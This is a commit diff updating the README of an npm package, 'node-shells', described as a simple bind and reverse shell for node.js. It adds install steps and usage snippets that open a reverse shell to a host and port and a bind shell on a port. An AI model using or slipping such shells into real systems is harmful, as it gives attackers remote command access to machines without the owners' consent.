update readme with usage

README.md

@@ -1,4 +1,22 @@
-node-shells
-===========
+# node-shells
 
-Currently a very simple bind and reverse shell that can be used with node.js. Tested on node 0.4.12
+Currently a very simple bind and reverse shell that can be used with node.js. Tested on node 0.10.15
+
+## Install
+```
+npm install node-shells
+```
+
+## Usage: Reverse Shell
+```
+var shells = require('node-shells');
+
+shells.reverseShell('127.0.0.1', '1234'); // host, port
+```
+
+
+## Usage: Bind Shell
+```
+var shells = require('node-shells');
+shells.bindShell('1234'); // port
+```